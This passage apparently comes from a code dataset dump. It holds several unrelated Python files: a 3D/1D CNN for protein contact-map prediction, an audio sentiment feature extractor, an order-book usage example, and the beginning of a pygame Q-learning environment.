new_z_max, x_min, y_min, z_min, x_max, y_max, z_max):\n\tif new_x_min < x_min:\n\t\tx_min = new_x_min\n\n\tif new_y_min < y_min:\n\t\ty_min = new_y_min\n\n\tif new_z_min < z_min:\n\t\tz_min = new_z_min\n\n\tif new_x_max > x_max:\n\t\tx_max = new_x_max\n\n\tif new_y_max > y_max:\n\t\ty_max = new_y_max\n\n\tif new_z_max > z_max:\n\t\tz_max = new_z_max\t\n\n\treturn x_min, y_min, z_min, x_max, y_max, z_max\n\n\n# This cnn class stores all necessary functions of the cnn networks under investigation.\nclass cnn:\n\tdef __init__(c, param = None):\n\t\tc.param = param\n\n\t# Generate 3D CNN model for rosetta or mse--basically for any single value output.\n\tdef generate_model_rosetta_mse(c, input_shape):\n\t\tmodel = Sequential()\n\t\tmodel.add(Conv3D(filters=3, kernel_size=8, strides=(1, 1, 1), padding=\"same\", input_shape=input_shape[1:]))\n\t\tmodel.add(BatchNormalization())\n\t\tmodel.add(Dense(8, activation='relu'))\n\t\tmodel.add(MaxPooling3D(pool_size=(2, 2, 2), strides=2))\n\t\tmodel.add(Conv3D(filters=3, kernel_size=16, strides=(1, 1, 1), padding=\"same\", input_shape=input_shape[1:]))\n\t\tmodel.add(BatchNormalization())\n\t\tmodel.add(Dense(16, activation='relu'))\n\t\tmodel.add(MaxPooling3D(pool_size=(2, 2, 2), strides=2))\n\t\tmodel.add(Conv3D(filters=3, kernel_size=32, strides=(1, 1, 1), padding=\"same\", input_shape=input_shape[1:]))\n\t\tmodel.add(BatchNormalization())\n\t\tmodel.add(Dense(32, activation='relu'))\n\t\tmodel.add(MaxPooling3D(pool_size=(2, 2, 2), strides=2))\n\t\tmodel.add(Dropout(0.2))\n\t\tmodel.add(Flatten())\n\t\tmodel.add(Dense(1))\n\t\t# Compiles the model\n\t\tmodel.compile(optimizer='adam', loss='mean_squared_error', metrics=['accuracy', 'mse'])\n\t\tmodel.summary()\n\t\treturn model\n\n\n\t# Generate 3D CNN model for contact map--for square output.\n\tdef generate_model_contact_map_3d(c, input_shape, output_shape):\n\t\tmodel = Sequential()\n\t\tmodel.add(Conv3D(3, 8, strides=(1, 1, 1), padding=\"same\", input_shape=input_shape[1:]))\n\t\tmodel.add(BatchNormalization())\n\t\tmodel.add(Dense(8, activation='relu'))\n\t\tmodel.add(MaxPooling3D(pool_size=(2, 2, 2), strides=2))\n\t\tmodel.add(Conv3D(3, 16, strides=(1, 1, 1), padding=\"same\", input_shape=input_shape[1:]))\n\t\tmodel.add(BatchNormalization())\n\t\tmodel.add(Dense(16, activation='relu'))\n\t\tmodel.add(MaxPooling3D(pool_size=(2, 2, 2), strides=2))\n\t\tmodel.add(Conv3D(3, 32, strides=(1, 1, 1), padding=\"same\", input_shape=input_shape[1:]))\n\t\tmodel.add(BatchNormalization())\n\t\tmodel.add(Dense(32, activation='relu'))\n\t\tmodel.add(MaxPooling3D(pool_size=(2, 2, 2), strides=2))\n\t\tmodel.add(Dropout(0.5))\n\t\tmodel.add(Flatten())\n\t\tmodel.add(Dense(output_shape[0] * output_shape[1]))\n\t\tmodel.add(Reshape(output_shape))\n\t\tmodel.compile(optimizer='adam', loss='mean_squared_error', metrics=['accuracy', 'mse'])\n\t\tmodel.summary()\n\t\treturn model\n\n\n\t# Generate 1D CNN model for contact map.\n\tdef generate_model_contact_map_1d(c, input_shape, output_shape):\n\t\tmodel = Sequential()\n\t\tmodel.add(Conv1D(filters=6, kernel_size=6, strides=(1), padding=\"same\", input_shape=input_shape[1:]))\n\t\tmodel.add(BatchNormalization())\n\t\tmodel.add(Dense(6, activation='relu'))\n\t\tmodel.add(MaxPooling1D(pool_size=(2), strides=2))\n\t\tmodel.add(Conv1D(filters=6, kernel_size=6, strides=(1), padding=\"same\", input_shape=input_shape[1:]))\n\t\tmodel.add(BatchNormalization())\n\t\tmodel.add(Dense(6, activation='relu'))\n\t\tmodel.add(MaxPooling1D(pool_size=(2), strides=2))\n\t\tmodel.add(Conv1D(filters=6, kernel_size=6, strides=(1), padding=\"same\", input_shape=input_shape[1:]))\n\t\tmodel.add(BatchNormalization())\n\t\tmodel.add(Dense(6, activation='relu'))\n\t\tmodel.add(MaxPooling1D(pool_size=(2), strides=2))\n\t\tmodel.add(Dropout(0.2))\n\t\tmodel.add(Flatten())\n\t\tmodel.add(Dense(output_shape[0] * output_shape[1]))\n\t\tmodel.add(Reshape(output_shape))\n\t\tmodel.compile(optimizer='adam', loss='mean_squared_error', metrics=['accuracy', 'mse'])\n\t\tmodel.summary()\n\t\treturn model\n\n\n\tdef generate_model_aan_contact_map_1d(c, input_shape, output_shape):\n\t\tmodel = Sequential()\n\t\tmodel.add(Dense(15, input_shape=input_shape[1:]))\n\t\tmodel.add(Flatten())\n\t\tmodel.add(Dense(output_shape[0] * output_shape[1]))\n\t\tmodel.add(Reshape(output_shape))\n\t\tmodel.compile(optimizer='adam', loss='mean_squared_error', metrics=['accuracy', 'mse'])\n\t\tmodel.summary()\n\t\treturn model\n\n\n# Given a set of files storing entry objects and their directory location, return their feature dimensions such as the positional atom types and the bounds for the matrix.\ndef load_feature_dimensions(files, fdir = 'ptndata_10H/'):\n\tx_min, y_min, z_min, x_max, y_max, z_max = CUBIC_LENGTH_CONSTRAINT, CUBIC_LENGTH_CONSTRAINT, CUBIC_LENGTH_CONSTRAINT, 0, 0, 0\n\tatom_pos = []\n\tfor i, file in enumerate(files):\n\t\tprint('Percentage complete: ', round(i / len(files) * 100, 2), '%', sep='')\n\t\tentry = pickle.load(open(fdir + file, 'rb'))\n\t\tnew_x_min, new_y_min, new_z_min, new_x_max, new_y_max, new_z_max = find_bounds(grid2logical(entry.mat))\n\t\tx_min, y_min, z_min, x_max, y_max, z_max = update_bounds(new_x_min, new_y_min, new_z_min, new_x_max, new_y_max, new_z_max, x_min, y_min, z_min, x_max, y_max, z_max)\n\t\t#print(f'x: [{x_min},{x_max}]\\ty: [{y_min},{y_max}]\\tx: [{z_min},{z_max}]')\n\t\tatom_pos = get_all_atoms(entry.mat, atom_pos)\n\tatom_pos.append('None')\n\n\treturn atom_pos, x_min, y_min, z_min, x_max, y_max, z_max\n\n\n# This is a generator function for files containing entry objects in the given location. These objects, due to their large size, are fed into the CNN one at a time as a memory optimization step.\ndef sample_gen(files, feature_set, atom_type, atom_type_encoder, atom_pos, atom_pos_encoder, energy_scores, x_min, y_min, z_min, x_max, y_max, z_max, fdir='ptndata_10H/'):\n\tfor q, file in enumerate(files):\n\t\tentry = pickle.load(open(fdir + file, 'rb'))\n\t\ta = grid2logical(entry.mat)\n\t\tb = grid2atomtype(entry.mat, atom_type, atom_type_encoder)\n\t\tc = grid2atom(entry.mat, atom_pos, atom_pos_encoder)\n\t\tdm_output = entry.dm\n\t\t# rosetta_score, mse_score\n\n\t\ty = dm_output[0].tolist()\n\t\ty = np.reshape(y, (1, len(y[0]), len(y[0])))\n\t\ty = y.astype(float)\n\t\t#y = energy_scores.loc['ptndata_10H/' + file]['mse_score']\n\t\t#y = np.array(y)\n\t\t#y = y.reshape(-1,1)\t\n\t\tfor i in range(len(feature_set[0])):\n\t\t\tfor j in range(len(feature_set[0][0])):\n\t\t\t\tfor k in range(len(feature_set[0][0][0])):\n\t\t\t\t\tfeature_set[0][i][j][k] = [a[x_min + i][y_min + j][z_min + k]] + b[x_min + i][y_min + j][z_min + k].tolist() + c[x_min + i][y_min + j][z_min + k].tolist()\n\n\t\tyield (feature_set, y)\n\n\n# This is almost like sample_gen, except it is a function instead of a generator function. This is used for generating the validation data before training the CNN. It generates the validation samples for all three of the metrics.\ndef sample_loader(files, feature_set_, atom_type, atom_type_encoder, atom_pos, atom_pos_encoder, energy_scores, x_min, y_min, z_min, x_max, y_max, z_max, fdir='ptndata_10H/'):\n#if True:\n\ty_rosetta = []\n\ty_mse = []\n\ty_dm = []\n\tfor q, file in enumerate(files):\n\t\tprint('Percentage complete: ', round(q / len(files) * 100, 2), '%', sep='')\n\t\tentry = pickle.load(open(fdir + file, 'rb'))\n\t\ta = grid2logical(entry.mat)\n\t\tb = grid2atomtype(entry.mat, atom_type, atom_type_encoder)\n\t\tc = grid2atom(entry.mat, atom_pos, atom_pos_encoder)\n#\n\t\t#y = np.reshape(y, (len(y), len(y[0][0]), len(y[0][0])))\n\t\t#y = y.astype(float)\n\t\ty_rosetta.append(energy_scores.loc['ptndata_10H/' + file]['rosetta_score'])\n\t\ty_mse.append(energy_scores.loc['ptndata_10H/' + file]['mse_score'])\n\t\ty_dm.append(entry.dm)\n\t\tfor i in range(len(feature_set_[0])):\n\t\t\tfor j in range(len(feature_set_[0][0])):\n\t\t\t\tfor k in range(len(feature_set_[0][0][0])):\n\t\t\t\t\tfeature_set_[q][i][j][k] = [a[x_min + i][y_min + j][z_min + k]] + b[x_min + i][y_min + j][z_min + k].tolist() + c[x_min + i][y_min + j][z_min + k].tolist()\n\n\ty_rosetta = np.array(y_rosetta)\n\ty_rosetta = y_rosetta.reshape(-1,1)\t\t\n\n\ty_mse = np.array(y_mse)\n\ty_mse = y_mse.reshape(-1,1)\t\n\n\ty_dm = np.reshape(y_dm, (len(y_dm), len(y_dm[0][0]), len(y_dm[0][0])))\n\ty_dm = y_dm.astype(float)\n\n\treturn feature_set_, y_rosetta, y_mse, y_dm\n\n\ndef select_region_dm(dm, shape):\n\treturn np.array([[ [dm[k][j][i] for i in range(shape[1])] for j in range(shape[0])] for k in range(len(dm))])\n\n\n# Given the location of a directory with entry objects storing data for the 1D CNN, return the necessary features and target values for the network.\ndef conv1d_primary_seq_dm(fdir='ptndata_1dconv/'):\n#if True:\n\t# Number of atoms is set to a hard cut off so the convolution network has a constant size \n\tNUMBER_OF_AA = 11\n\tNUMBER_OF_AA2 = NUMBER_OF_AA\n\t#\n\tstart_time = time()\n\tfdir = '/Users/ethanmoyer/Projects/data/ptn/ptndata_1dconv/'\n\tfiles = getfileswithname(fdir, 'obj')\n\tfiles = [file for file in files if pickle.load(open(fdir + file, 'rb')).dm.shape == (NUMBER_OF_AA2, NUMBER_OF_AA2) and len(pickle.load(open(fdir + file, 'rb')).one_hot_features) == NUMBER_OF_AA]\n\t#random.shuffle(files)\n#\n\ttotal_samples = len(files)\n\tfiles = files[:total_samples]\n\tvalidation_split = 0.2\n#\n#\n\ttraining_samples = int(total_samples * (1 - validation_split))\n\tvalidation_samples = int(total_samples * validation_split)\n#\n\tfeature_set = np.array([ [ [0] for _ in range(20 * NUMBER_OF_AA) ] for _ in range(total_samples) ])\n\ty = []\n#\n\tfor i, file in enumerate(files):\n#\n\t\tentry = pickle.load(open(fdir + file, 'rb'))\n#\n\t\tone_hot_features = entry.one_hot_features\n#\n\t\tsample_atom_list = []\n#\n\t\ty.append(entry.dm)\n\t\tfor j in range(NUMBER_OF_AA):\n#\n\t\t\trow = one_hot_features[j]\n\t\t\tif type(row) == list:\n\t\t\t\tsample_atom_list += row\n\t\t\telse:\n\t\t\t\tsample_atom_list += row.tolist()\n\t\tfeature_set[i] = np.array(sample_atom_list).reshape(-1, 1)\n#\n\tfeature_set = np.array(feature_set)\n\tinput_shape = feature_set.shape\n\t#\n\ty = np.reshape(y, (len(y), len(y[0]), len(y[0])))\n#\n\tearly_stopping = EarlyStopping(patience=5)\n\tdatasetsize = []\n\tloss_train = []\n\tloss_test = []\n\trmsd_train = []\n\trmsd_test = []\n\tfor i in range(1): #100, 10000, 100\n\t\ti = 1000\n\t\t#model = cnn.generate_model_contact_map_1d(input_shape, (NUMBER_OF_AA2, NUMBER_OF_AA2))\n\t\tmodel = cnn.generate_model_aan_contact_map_1d(input_shape, (NUMBER_OF_AA2, NUMBER_OF_AA2))\n\n\t\tX = feature_set[:i]\n\t\ty_ = y[:i]\n\n\t\tX_train, X_test, y_train, y_test = train_test_split(X, y_, test_size=0.2)\n\n\t\tdatasetsize.append(len(X))\n\t\thistory = model.fit(X_train, y_train, batch_size=10, epochs=100, verbose=1, validation_data=(X_test, y_test), callbacks=[early_stopping])\n\n\t\tloss_train.append(history.history['loss'][len(history.history['loss']) - 1])\n\t\tloss_test.append(history.history['val_loss'][len(history.history['val_loss']) - 1])\n\n\t\t# All samples\n\t\ty_pred = model.predict(X)\n\n\t\t# Training and testing samples separately\n\t\t#y_pred_train = model.predict(X_train)\n\t\t#y_pred_test = model.predict(X_test)\n\n\t\tpca = PCA(n_components=3)\n\n\t\t# All samples\n\t\tcoordinates_pred = [geo_distmat_to3d(elem) for elem in y_pred]\n\t\tcoordinates_act = [geo_distmat_to3d(elem) for elem in y_]\n\n\t\tcoordinates_pred_aligned = [geo_alignpoints(coordinates_act[i], coordinates_pred[i]) for i in range(len(y_))]\n\n\t\trmsd = [sqrt(mean_squared_error(coordinates_pred_aligned[i], coordinates_act[i])) for i in range(len(y_)) ]\n\n\t\t# Training samples\n\t\t#coordinates_pred = [geo_distmat_to3d(elem) for elem in y_pred_train]\n\t\t#coordinates_act = [geo_distmat_to3d(elem) for elem in y_train]\n\n\t\t#coordinates_pred_aligned = [geo_alignpoints(coordinates_act[i], coordinates_pred[i]) for i in range(len(y_train))]\n\n\t\t#rmsd_train_ = [sqrt(mean_squared_error(coordinates_pred_aligned[i], coordinates_act[i])) for i in range(len(y_train)) ]\n\n\t\t#rmsd_train.append(np.mean(rmsd_train_))\n\n\t\t# Testing samples\n\t\t#coordinates_pred = [geo_distmat_to3d(elem) for elem in y_pred_test]\n\t\t#coordinates_act = [geo_distmat_to3d(elem) for elem in y_test]\n\n\t\t#coordinates_pred_aligned = [geo_alignpoints(coordinates_act[i], coordinates_pred[i]) for i in range(len(y_test))]\n\n\t\t#rmsd_test_ = [sqrt(mean_squared_error(coordinates_pred_aligned[i], coordinates_act[i])) for i in range(len(y_test)) ]\n\t\t\n\t\t#rmsd_test.append(np.mean(rmsd_test_))\n\n\tif False:\n\t\tplt.plot(datasetsize, loss_train)\n\t\tplt.plot(datasetsize, loss_test)\n\t\tplt.plot(datasetsize, rmsd_train)\n\t\tplt.plot(datasetsize, rmsd_test)\n\t\tplt.legend(['Train MSE Loss', 'Validation MSE Loss', 'Train RMSD', 'Validation RMSD'], loc='upper right')\n\t\tplt.title('1-D CNN Metrics vs data set size for MDS')\n\t\tplt.ylabel('MSE Loss (A^2), RMSD (A)')\n\t\tplt.xlabel('Data set size')\n\t\tplt.savefig('figures/ptndata_1dconv_summary_mds.png')\n\t\tplt.show()\n\t\tplt.clf()\n\n\tif False:\n\t\tplt.plot(datasetsize, loss_train)\n\t\tplt.plot(datasetsize, loss_test)\n\t\tplt.plot(datasetsize, rmsd_train)\n\t\tplt.plot(datasetsize, rmsd_test)\n\t\tplt.legend(['Train MSE Loss', 'Validation MSE Loss', 'Train RMSD', 'Validation RMSD'], loc='upper right')\n\t\tplt.title('1-D ANN Metrics vs data set size for MDS')\n\t\tplt.ylabel('MSE Loss (A^2), RMSD (A)')\n\t\tplt.xlabel('Data set size')\n\t\tplt.savefig('figures/ptndata_1dann_summary_mds.png')\n\t\tplt.show()\n\t\tplt.clf()\n\n\tif False:\n\t\tdata = pd.DataFrame({'abs_loss': [history.history['loss']], 'abs_val_loss': [history.history['val_loss']]})\n\t\tdata.to_csv('figures/ptndata_1dconv.csv')\n\t\tplt.plot(history.history['loss'])\n\t\tplt.plot(history.history['val_loss'])\n\t\tplt.title('1-D CNN Contact Map Metric')\n\t\tplt.ylabel('MSE Loss (A^2)')\n\t\tplt.xlabel('Epoch')\n\t\tplt.legend(['Training set', 'Validation set'], loc='upper left')\n\t\tplt.savefig('figures/ptndata_1dconv_abs_loss.png')\n\t\tplt.clf()\n\n\tif False:\n\t\tdata = pd.DataFrame({'abs_loss': [history.history['loss']], 'abs_val_loss': [history.history['val_loss']]})\n\t\tdata.to_csv('figures/ptndata_1dconv_ann.csv')\n\t\tplt.plot(history.history['loss'])\n\t\tplt.plot(history.history['val_loss'])\n\t\tplt.title('1-D CNN Contact Map Metric ANN')\n\t\tplt.ylabel('MSE Loss (A^2)')\n\t\tplt.xlabel('Epoch')\n\t\tplt.legend(['Training set', 'Validation set'], loc='upper left')\n\t\tplt.savefig('figures/ptndata_1dann_abs_loss.png')\n\t\tplt.clf()\n\n\t# For measuring the data size affects on the 1D metrics\n\t#return model, history, datasetsize, loss_train, loss_test, rmsd_train, rmsd_test\n\n\tmin_rmsd_indx = np.argmin(rmsd)\n\tmax_rmsd_indx = np.argmax(rmsd)\n\n\tmin_rmsd_file = files[min_rmsd_indx]\n\tmax_rmsd_file = files[max_rmsd_indx]\n\n\tmin_rmsd = rmsd[min_rmsd_indx]\n\tmax_rmsd = rmsd[max_rmsd_indx]\n\n\n\t# For measuring best/worst case scenario\n\treturn model, history, files, rmsd, min_rmsd_indx, max_rmsd_indx, min_rmsd_file, max_rmsd_file, min_rmsd, max_rmsd, coordinates_pred_aligned, coordinates_act\n\n\ndef conv3d_tertiary_seq_rosetta_mse_dm(fdir='ptndata_10H/'):\n#if True:\n\tstart_time = time()\n\ttotal_samples = 1000\n\tvalidation_split = 0.2\n#\n\ttraining_samples = int(total_samples * (1 - validation_split))\n\tvalidation_samples = int(total_samples * validation_split)\n#\n\t# Path name for storing all of the data\n\t#fdir = 'ptndata_small/'\n\t#fdir = '/Users/ethanmoyer/Projects/data/ptn/ptndata_10H/'\n\tprint('Loading files...')\n\t# Load all of the obj file types and sort them by file name\n\tfiles = getfileswithname(fdir, 'obj')\n\tfiles.sort()\n#\n\tfiles = files[:total_samples]\n#\n\tenergy_scores = pd.read_csv(fdir + 'energy_local_dir.csv', index_col='file')\n#\n\tfiles = [file for file in files if 'ptndata_10H/' + file in energy_scores.index]\n#\n\ttraining_files = files[:training_samples]\n\tvalidation_files = files[training_samples:]\n#\n\t# Index for the four main types of atoms and None that will indexed when looping through each entry\n\tatom_type = ['C', 'N', 'O', 'S', 'None']\n\tatom_type_data = pd.Series(atom_type)\n\tatom_type_encoder = np.array(pd.get_dummies(atom_type_data))\n#\n\tprint('Detemining positional atom types and smallest window size of the data ...')\n\t# Loop through each file and make a list of all of the atoms present.\n#\n\tatom_pos, x_min, y_min, z_min, x_max, y_max, z_max = load_feature_dimensions(files, fdir)\n#\n\t# Format the position specific atom list so it can be used as one-hot encoding in the network\n\tatom_pos_data = pd.Series(atom_pos)\n\tatom_pos_encoder = np.array(pd.get_dummies(atom_pos_data))\n#\n\t# Initialize the feature set\n\tfeature_set = np.array([[[[ [0] * (1 + len(atom_type) + len(atom_pos)) for i in range(x_min, x_max)] for j in range(y_min, y_max)] for k in range(z_min, z_max)] for q in range(1)])\n#\n\tfeature_set_ = np.array([[[[ [0] * (1 + len(atom_type) + len(atom_pos)) for i in range(x_min, x_max)] for j in range(y_min, y_max)] for k in range(z_min, z_max)] for q in range(validation_samples)])\n#\n\t# Define input and output shape\n\tinput_shape = feature_set.shape\n\toutput_shape = (20, 20)\n#\n\t#cnn = cnn()\n\t#model = cnn.generate_model_rosetta_mse(input_shape)\n\tmodel = cnn.generate_model_contact_map_3d(input_shape, output_shape)\n#\n\tprint('Generating validation data ...')\n\t# Load all of the objects into the feature set \n\tfeature_set, y_rosetta, y_mse, y_dm = sample_loader(validation_files, feature_set_, atom_type, atom_type_encoder, atom_pos, atom_pos_encoder, energy_scores, x_min, y_min, z_min, x_max, y_max, z_max, fdir)\n\n\t#early_stopping = EarlyStopping(patience=5, min_delta=0.1)\n\n\tprint('Running model on training data...')\n\thistory = model.fit(sample_gen(training_files, feature_set, atom_type, atom_type_encoder, atom_pos, atom_pos_encoder, energy_scores, x_min, y_min, z_min, x_max, y_max, z_max, fdir), steps_per_epoch=1,epochs =150, verbose=1, use_multiprocessing=True, validation_data=(feature_set, y_dm)) #, callbacks=[early_stopping]\n\tprint('Time elapsed:', time() - start_time)\n\n\tdata = pd.DataFrame({'abs_loss': [history.history['loss']], 'abs_val_loss': [history.history['val_loss']]})\n\tdata.to_csv('figures/1crnAH10_dm.csv')\n\tplt.plot(history.history['loss'])\n\tplt.plot(history.history['val_loss'])\n\tplt.title('3-D CNN Conact Map Metric')\n\tplt.ylabel('MSE Loss (A^2)')\n\tplt.xlabel('Epoch')\n\tplt.legend(['Training set', 'Validation set'], loc='upper left')\n\tplt.savefig('figures/1crnAH10_dm_abs_loss.png')\n\tplt.clf()\n\n\n# This function exports the protein as a .pdb file with \ndef export(coords, file = None):\n\tatom_number = 1\n\tamino_acid_number = 1\n\t# If file is not assigned, generate temp file\n\tif file == None:\n\t\tfile = tempfile.NamedTemporaryFile(dir = 'sample_ptn', mode = 'w+', suffix='.pdb').name\n\t# Open file and loop through all of the atoms in the protein and print all of their information to the file.\n\t# ethan: only write PDB files after structure is updated from the subsetting done, i.e. range of aa or chains\n\twith open(file, \"w+\") as f:\t\n\t\tfor atom_coords in coords:\n\t\t\tx = atom_coords[0]\n\t\t\ty = atom_coords[1]\n\t\t\tz = atom_coords[2]\n\t\t\tout = 'ATOM %4d %-4s %3s %1s%4s %8.3f%8.3f%8.3f 1.00 1.00 %s \\n' % (atom_number, 'CA', 'THR', 'A',amino_acid_number, x, y, z, 'CA')\t\t\n\t\t\tf.write(out)\t\t\n\t\t\tatom_number += 1\n\t\tamino_acid_number += 1\n\treturn file\n\ncnn = cnn()\n#conv3d_tertiary_seq_rosetta_mse_dm('ptndata_10H/')\nmodel, history, files, rmsd, min_rmsd_indx, max_rmsd_indx, min_rmsd_file, max_rmsd_file, min_rmsd, max_rmsd, coordinates_pred_aligned, coordinates_act = conv1d_primary_seq_dm()\n","repo_name":"ethanmoyer/ptnstrerrpredict","sub_path":"cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":22731,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"70348885341","text":"import soundfile # to read audio file\nimport numpy as np\nimport librosa # to extract speech features\nimport glob\nimport os\nimport pickle # to save model after training\nimport pandas as pd\n\ndef extract_feature(file_name, **kwargs):\n mfcc = kwargs.get(\"mfcc\")\n chroma = kwargs.get(\"chroma\")\n mel = kwargs.get(\"mel\")\n contrast = kwargs.get(\"contrast\")\n\n if chroma or contrast:\n X, sample_rate = librosa.load(file_name)\n stft = np.abs(librosa.stft(X))\n result = np.array([])\n\n if mfcc:\n mfccs = np.mean(librosa.feature.mfcc(y=X, sr=sample_rate, n_mfcc=40).T, axis=0)\n result = np.hstack((result, mfccs))\n if chroma:\n chroma = np.mean(librosa.feature.chroma_stft(S=stft, sr=sample_rate).T,axis=0)\n result = np.hstack((result, chroma))\n if mel:\n mel = np.mean(librosa.feature.melspectrogram(X, sr=sample_rate).T,axis=0)\n result = np.hstack((result, mel))\n\n return result\n\ndef analyse(audio_path, model_path):\n \n # load the model from disk\n loaded_model = pickle.load(open(model_path, 'rb'))\n\n arr = []\n for file in glob.glob(audio_path):\n features = extract_feature(file, mfcc=True, chroma=True, mel=True)\n arr.append(features)\n \n if len(arr) > 0:\n ans = loaded_model.predict([arr[0]])\n out = \"positive\" if ans[0] == 1 else \"negative\"\n return out\n else:\n return \"None\"\n\n\n# print(analyse(\"./rec3.ogg\",\"./ada_classifier.model\"))","repo_name":"Alpaca-HexCam/voice-l1","sub_path":"Sentiment/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"73608351900","text":"import multiprocessing, time\n# Import OrderBook Class\nfrom OrderBook import OrderBook\n\n# Initialise a Queue to pass new transactions to the orderbook\ninputQueue = multiprocessing.Queue(maxsize=0)\n# Initialise an instance of the order book\ntest = OrderBook(inputQueue, verbose=True)\n# Start the order book\ntest.run()\n'''\nEntries to inputQueue should be of the following format: [UserID, Time, Price, NumShares, Type]\n\nThere is no constraint on what kind of data is given for UserID and Time\n\nHowever, Price and NumShares should both be numerical values\n\nType can only take in the following 4 types: \"ask\", \"bid\", \"cask\" and \"cbid\"\n \"cbid\" and \"cask\" are to cancel bid and ask orders respectively\n'''\n# Examples of how to add entries onto the InputQueue for orderbook\ninputQueue.put([1231241, 1231, 4654, 987987, \"ask\" ])\ninputQueue.put([14, 1231, 4134654, 124331, \"ask\" ])\ninputQueue.put([1231241, 1231, 5225, 987987, \"bid\" ])\ninputQueue.put([14, 1231, 41342525654, 124331, \"bid\" ])\ninputQueue.put([1231241, 1231, 4654, 987987, \"cask\" ])\ninputQueue.put([14, 1231, 41342525654, 124331, \"cbid\"])\n\ntime.sleep(10)\n# Example of how to terminate the orderbook gracefully\ntest.terminate()\n\n","repo_name":"imny94/pyOrderBook","sub_path":"SampleCode.py","file_name":"SampleCode.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"69"} +{"seq_id":"35354967739","text":"import pygame as pg\r\nimport numpy as np\r\nimport random\r\nfrom math import radians, sin, cos\r\n\r\ndef points_intersect(line_a, line_b):\r\n\t\r\n\tp0x = line_a[0][0] \r\n\tp0y = line_a[0][1]\r\n\tp1x = line_a[1][0]\r\n\tp1y = line_a[1][1]\r\n\tp2x = line_b[0][0]\r\n\tp2y = line_b[0][1]\r\n\tp3x = line_b[1][0]\r\n\tp3y = line_b[1][1]\r\n\r\n\tA1 = p1y - p0y\r\n\tB1 = p0x - p1x\r\n\tC1 = A1 * p0x + B1 * p0y\r\n\tA2 = p3y -p2y\r\n\tB2 = p2x - p3x\r\n\tC2 = A2 * p2x + B2 * p2y\r\n\t\r\n\tdenominator = A1*B2 - A2*B1\r\n\t\r\n\t# if denom is 0, lines are parralel or colinear... Technically if they are\r\n\t# colinear then they are touching, but... hey nothing here is perfect, now is it\r\n\tif denominator == 0:\r\n\t\treturn (-1,-1)\r\n\r\n\tx_int = (B2*C1 -B1*C2)/denominator\r\n\ty_int = (A1*C2 - A2*C1)/denominator\r\n\t\r\n\r\n\t# since we are playing with line segments, have to make sure the segments intersect only within segemnts\r\n\t# to do this, we take the distance of line on x and y to where it intersects\r\n\t\r\n\t\"\"\"\r\n\tThis will break down for horizontal and vertical lines... and uh we ONLY have horizontal and vert lines\r\n\tTo fix we need some really goofy checks\r\n\t\"\"\"\r\n\r\n\t\r\n\tratio_x = -1.0\r\n\tratio_y = -1.0\r\n\tratio_x2 = -1.0\r\n\tratio_y2 = -1.0\r\n\r\n\tif (p1x - p0x) != 0:\r\n\t\tratio_x = (x_int - p0x)/(p1x - p0x)\r\n\t\t\r\n\tif (p1y - p0y) != 0:\r\n\t\tratio_y = (y_int - p0y)/(p1y - p0y)\r\n\t\t\r\n\tif (p3x - p2x) != 0:\r\n\t\tratio_x2 = (x_int - p2x)/(p3x - p2x)\r\n\t\t\r\n\tif (p3y- p2y) != 0:\r\n\t\tratio_y2 = (y_int - p2y)/(p3y- p2y)\r\n\t\t\r\n\t\r\n\tif (((ratio_x >= 0.0 and ratio_x <= 1.0) or (ratio_y >= 0 and ratio_y <=1.0)) and ((ratio_x2 >= 0 and ratio_x2 <= 1.0) or (ratio_y2 >= 0 and ratio_y2 <=1.0))):\r\n\t\treturn (x_int, y_int)\r\n\r\n\t\r\n\treturn (-1,-1)\r\n\r\n\r\n\r\n# any non game logic tasks are handled here\r\nclass Environment:\r\n\t\r\n\tdef __init__(self, vel, screen_size, stage_num):\r\n\t\tself.stage_num = stage_num\r\n\t\tself.player_vel = vel\r\n\r\n\t\tself.screen_size = screen_size\r\n\t\t#self.player_start = (random.randint(0, screen_size[0]), screen_size[1] -50)\r\n\t\tself.player_start = (260, 450)\r\n\t\tself.goal_start = (screen_size[0]/2, 15)\r\n\t\tself.is_over = False\r\n\t\r\n\tdef make(self):\r\n\t\t\"\"\"\r\n\t\tInstantiate a GameLogic object for this Env\r\n\t\t\"\"\"\r\n\t\tself.logic = GameLogic(self.player_vel, self.player_start, self.screen_size, self.stage_num)\r\n\t\tprint(\"------NEW GAME-------\")\r\n\t\tprint(f'Player Starting Position: {self.player_start}')\r\n\r\n\r\n\tdef show(self):\r\n\t\t\"\"\"\r\n\t\tshow current frame of to screen\r\n\t\t\"\"\"\r\n\t\tpg.init()\r\n\t\twindow = pg.display.set_mode((self.logic.SCREEN_X, self.logic.SCREEN_Y)) # change\r\n\t\tpg.display.set_caption(\"Q LEARNING TEST\")\r\n\r\n\t\twindow.fill( (self.logic.BACKGROUND_COLOR))\r\n\t\tpg.draw.rect(window, self.logic.GOAL_COLOR, (self.logic.goal.x, self.logic.goal.y, self.logic.GOAL_SIZE, self.logic.GOAL_SIZE))\r\n\t\tpg.draw.rect(window, self.logic.PLAYER_COLOR, (self.logic.player.x, self.logic.player.y, self.logic.PLAYER_SIZE, self.logic.PLAYER_SIZE))\r\n\t\t\r\n\t\t# testing purposes\r\n\t\tplayer_top_left = (self.logic.player.x, self.logic.player.y)\r\n\t\tplayer_top_right = (self.logic.player.x_right, self.logic.player.y)\r\n\t\tplayer_bot_left = (self.logic.player.x, self.logic.player.y_bot)\r\n\t\tplayer_bot_right = (self.logic.player.x_right, self.logic.player.y_bot)\r\n\t\t\r\n\t\t# used for debugging, tbh it looks kinda cool if you want to uncomment lol\r\n\t\t\"\"\"\r\n\t\tpg.draw.line(window, self.logic.PLAYER_OUTLINE_COLOR, player_top_left, player_top_right) # correct\r\n\t\tpg.draw.line(window, self.logic.PLAYER_OUTLINE_COLOR, player_top_left, player_bot_left)\r\n\t\tpg.draw.line(window, self.logic.PLAYER_OUTLINE_COLOR, player_bot_left, player_bot_right)\r\n\t\tpg.draw.line(window, self.logic.PLAYER_OUTLINE_COLOR, player_top_right, player_bot_right)\r\n\t\t\"\"\"\r\n\t\tfor obstacle in self.logic.obstacles:\r\n\t\t\tpg.draw.line(window, self.logic.OBSTACLE_COLOR, (obstacle.x_start, obstacle.y_start), (obstacle.x_end, 